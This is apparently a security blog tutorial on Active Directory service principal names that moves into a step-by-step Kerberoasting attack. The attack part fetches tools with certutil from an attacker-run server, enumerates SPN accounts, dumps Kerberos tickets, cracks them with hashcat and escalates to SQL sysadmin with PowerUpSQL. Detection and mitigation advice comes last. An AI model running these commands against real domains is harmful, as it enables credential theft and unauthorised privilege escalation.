What is Service Principal Names and Service Accounts

What is SPN?

A service principal name (SPN) is a unique service instance identifier. Kerberos authentication uses SPNs to link a service instance to a service logon account.

[or]

SPN is the unique (in the entire Forest) identity for a Service, mapped with a specific service account in a server.

Before understanding what exactly, SPN are we should know about the service accounts.

What are service accounts??

A service is a feature or piece of software that may be used by other AD members (Active Directory). A web server, a DNS service, a printing service, a network share, and so on are examples of services. Service accounts are unique accounts that are used to run services on one or more servers. It’s analogous to the concept of CNAME in that we may use SPN to establish many service aliases that are linked to a service account.

Different parts in SPN:

SPN is made up of four parts, three of which are required and one of which is optional:

1. Service Name: The name of the server’s service instance.

2. Hostname: The name of the server on which the service is running.

3. Account: The account with which you want to map the service.

4. Port (Optional): This is a personal preference. You can leave it if the service is running on a standard port.

How to identify a service?

Let’s look at how to recognize service.

we need at least two things to identify a service,

1. The same service can run on different hosts, so we need to specify the host,  

2. A computer can host several services, so we need to specify the service.

We can designate a service by combining these two terms. Its Service Principal Name, or SPN, is this combination.

service_class/hostname_or_FQDN

The service class can be thought of as a generic name for a service. All web servers, for example, are grouped together in the “www” class, while SQL services are grouped together in the “SqlServer” class.

You can attach a custom port to the hostname if the service operates on it:

service_class/hostname_or_FQDN:port

For example, we have a web server named WEB01 that provides additional services in addition to web services. So, if we wanted to designate this server for a web service, SPN would look like this:

www/WEB01

Types of services in AD :

There are numerous service classes; for more information, consult the Microsoft documentation.

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc772815(v=ws.10)#service-principal-names

Few more service classes :

CIFS : for services related file sharing

Spooler: which includes printing services.

HOST: It is not really a service class. It’s a group of service classes, an alias that groups together a large number of SPNs.

The “SPN-Mappings” attribute in Active Directory defines the elements it groups together.

The following command can be used to get a list of these classes:

Get-ADObject -Identity “CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=HALO,DC=NET” -properties sPNMappings

How do we make an SPN?

In most cases, two commands are used to set/add the SPN. One with a hostname and one with a fully qualified domain name (FQDN):

setspn -S MSSQL/daisy-01.flower.com flower\ms_test

setspn -S MSSQL/daisy-01 flower\ms_test

Note 1: We can also use the “-A” switch to add SPN, but the “-S” switch has the advantage of first checking if any identical SPNs have already been registered.

Note 2: Switches in the set SPN command are not case sensitive.

What is the best way to list the SPN?

You can execute two commands to get the SPN for that account, both of which will return the same value you set up earlier:

setspn -L flower\ms_test

setspn -L ms_test

How to get rid of(delete) an SPN?

You must execute two commands for hostname and FQDN to delete the SPN:

setspn -D MSSQL/daisy-01.flower.com flower\ms_test

setspn -D MSSQL/daisy-01 flower\ms_test

You must execute two commands for hostname and FQDN to delete the SPN:

setspn -L flower\ms_test

setspn -L ms_test

Why do we utilize it/do we require it?

With the help of SPN, services running in different servers in a domain can communicate to each other.

We won’t be looking for all SPNs; only those that are linked to a service or a user account will be considered.

What is the reason for this?

Because we’ll be brute-forcing these accounts’ passwords, and as we all know, computer accounts have exceedingly long passwords that are “hard” to crack (at least with my laptop). A weak password is more likely to be found in either a service or a user account.

Identifying SPNs connected with user accounts that are members of a sensitive group, are configured to use RC4-HMAC encryption, and have a breaking window could be a gold (or silver) mine for an attacker. Because these service accounts are frequently predictable, discoverable, and available from anywhere on the network, an attacker is more likely to select them over other attack paths.

How can we take advantage of them?

Understand the Active Directory Environment

SPN accounts, for example, are not usually checked and examined on a regular basis. Because an SPN account may have been set up several years ago with a weak password compared to current requirements, and then forgotten about, this attack continues to be successful.

Enough with the theory of SPNs, their parts, and how to make them; let’s get to the fun bit.

OBJECTIVE: To obtain any service account’s cleartext password.

Prerequisite: Assume we’ve gained access to one of our target’s computers and it’s connected to a domain.

The tools listed below must be installed on the target machine.

1. PowerVIew

2. Mimikatz

3. Invoke-Kerberoast.ps1

We can use the below command to download the above tools ton target machine:

certutil -urlcache -split -f <file-path>

NOTE: Make sure to run a web server on our host machine, from which the files will be downloaded

Let’s start with our attacking methodology.

1. Enumeration

Let’s enumerate the about the following using the PowerView tool

1. Domain and domain controller

2. Users and their properties

3. Groups and its members (we will be targeting the high privileged accounts)

4. Computers

5. Interesting files and shares

Once we complete our enumeration thoroughly, we can move further in our attacking scenario

For commands, refer this (https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#domain-enumeration)

2. Scanning:

Let’s see whether there’s any SPNs running that are owned by a high-privileged account, such as a user who belongs to the domain admins group.

The following command can be used:

Get-NetUser -SPN | select serviceprincipalname

Alternatively, we can use the below LDAP to query AD for user accounts with defines SPNs

#Build LDAP filter to look for users with SPN values registered for current domain  

$ldapFilter = “(&(objectClass=user)(objectCategory=user)(servicePrincipalName=*))”

$domain = New-Object System.DirectoryServices.DirectoryEntry

$search = New-Object System.DirectoryServices.DirectorySearcher

$search.SearchRoot = $domain

$search.PageSize = 1000

$search.Filter = $ldapFilter

$search.SearchScope = “Subtree”

#Execute Search  

$results = $search.FindAll()

#Display SPN values from the returned objects

$Results = foreach ($result in $results)

{

$result_entry = $result.GetDirectoryEntry()

$result_entry | Select-Object @{

Name = “Username”;  Expression = { $_.sAMAccountName }

}, @{

Name = “SPN”; Expression = { $_.servicePrincipalName | Select-Object -First 1 }

}

}  

$Results

If there is such an account, we can proceed with our attack plan. We discovered an MSSQL service, for example, that was controlled by one of the domain admins or any other privileged user.

3. Exploitation

3.1 The next step is to use the command below to request a TGS from the KDC.

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityTok en -ArgumentList “<name of the service>”

Example::

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityTok en -ArgumentList “MSSQLSvc/daisy-01.flower.com”

32. We can cross-check if the ticket was created using  klist.

Klist

3. Once we’ve determined that an MSSQL service ticket has been created, we may utilize Invoke-Kerberost.ps1 to dump the tickets in john or hashcat format.

Start the Invoke-kerberost using :

. ./Invoke-Kerberoast.ps1

Dump the tickets using :

Invoke-Kerberoast -OutputFormat hashcat

4. Now that we have the ticket in hashcat format, we can paste it into a text editor and delete the spaces. Finally, save it as a file.

5. Use hashcat to crack the hash with the command below. (We can use the rockyou.txt file as the wordlist here.

hashcat -m 13100 –force -a 0 <hash-file> /usr/share/wordlists/rockyou.txt

After you have found the password, you can move forward towards world domination (Loud evil laugh….).

With the plaintext password, we can authenticate to any resources the service account has access to, which further helps in compromising data or escalating privileges to a database administrator by exploiting the configuration vulnerabilities.

PS> runas /netonly /User:ServiceAccount1 powershell.exe

Enter the password for ServiceAccount1: P@ssword!23

PS> Import-Module .\PowerUPSQL

PS> $SQLServers = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | Where-object { $_.Status -eq “Accessible” }

PS> $SQLServers | Get-SQLServerInfo | Select-Object Instance, IsSysadmin -Unique

Instance        IsSysadmin

——–        ———-

SQLServer1      No

PS> Invoke-SQLEscalatePriv -Instance SQLServer1 -Verbose

VERBOSE: SQLServer1 : Checking if you’re already a sysadmin…

VERBOSE: SQLServer1 : You’re not a sysadmin, attempting to change that…

# … output truncated … #

VERBOSE: SQLServer1 : Success! You are now a Sysadmin!

PS> $SQLServers | Get-SQLServerInfo | Select-Object Instance, IsSysadmin -Unique

Instance        IsSysadmin

——–        ———-

SQLServer1      Yes

Detection:

Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular activity patterns (ex: accounts making numerous requests, Event ID 4769, within a small-time frame, especially if they also request RC4 encryption [Type 0x17]). 

Mitigation

• Service Account Passwords should be hard to guess (greater than 25 characters)

• Enable AES Kerberos encryption (or another more robust encryption algorithm), rather than RC4, where possible.
• Also, consider using Group Managed Service Accounts or another third-party product such as password vaulting.
• Removing unused SPNs. 
• Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators.

‍